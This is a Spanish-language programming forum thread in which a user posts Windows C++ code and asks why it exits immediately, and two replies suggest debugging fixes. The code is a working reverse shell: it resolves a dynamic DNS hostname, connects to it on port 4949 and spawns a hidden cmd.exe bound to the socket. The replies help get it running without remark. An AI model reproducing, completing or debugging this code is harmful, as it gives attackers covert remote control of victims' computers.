• C/C++

 #401222  por Synth3tik0
 
Necesito ayuda con este codigo.
Traté de usar gethostbyname() para resolver a una ip, y al parecer compila pero se cierra imediatamente
#include <winsock2.h>
#include <stdio.h>
#define h_addr h_addr_list[0]
#include <string>
#include <iostream>

int main(int argc, char *argv[])
{

        /*
        argv[1] = "synth3tik0.redirectme.net";
        char* ip = argv[1];
        // using gethostbyaddr()
        hostent * phe = gethostbyaddr(ip, strlen(ip), AF_INET);

        */


        std::string str = "synth3tik0.redirectme.net";
        const char * c = str.c_str();

        struct hostent *phe = gethostbyname(c);

        std::string miIP = phe->h_addr;
        const char *IP = miIP.c_str();


        WSADATA wsaData;
        SOCKET hSocket;
        STARTUPINFO si;
        PROCESS_INFORMATION pi;

        struct sockaddr_in adik_sin;

        memset(&adik_sin,0,sizeof(adik_sin));
        memset(&si,0,sizeof(si));
        WSAStartup(MAKEWORD(2,0),&wsaData);


        hSocket = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);

        adik_sin.sin_family = AF_INET;
        adik_sin.sin_port = htons(4949);
        adik_sin.sin_addr.s_addr = inet_addr(IP);//.s_addr = inet_addr("127.0.0.1");

        connect(hSocket,(struct sockaddr*)&adik_sin,sizeof(adik_sin));
        si.cb = sizeof(si);


        //si.dwFlags = STARTF_USESTDHANDLES;
		si.dwFlags = STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;//
		si.wShowWindow = SW_HIDE;//
		si.hStdInput = si.hStdOutput = si.hStdError = (void *)hSocket;
        CreateProcess(NULL,"cmd",NULL,NULL,true,NULL,NULL,NULL,&si,&pi);
        ExitProcess(0);



}
que puede ser? deberia encerrar en bloque try ? con que exception?
 #401224  por orlando9427
 
Tienes un ExitProcess al llegar a esa linea se cierra el proceso...
Intenta mostrar en pantalla el contenido de gethostbyname(), y al final en lugar del ExitProcess el System("Pause")
 #416862  por tercer_ojo
 
Usa la API MessageBoxA(...) para mostrar tu cadena. eso debería interrumpir efectivamente el flujo de tu programa esperando el clic en 'aceptar'. Si de todos modos se cierra, es evidente que no está llegando a la llamada a MessageBoxA();.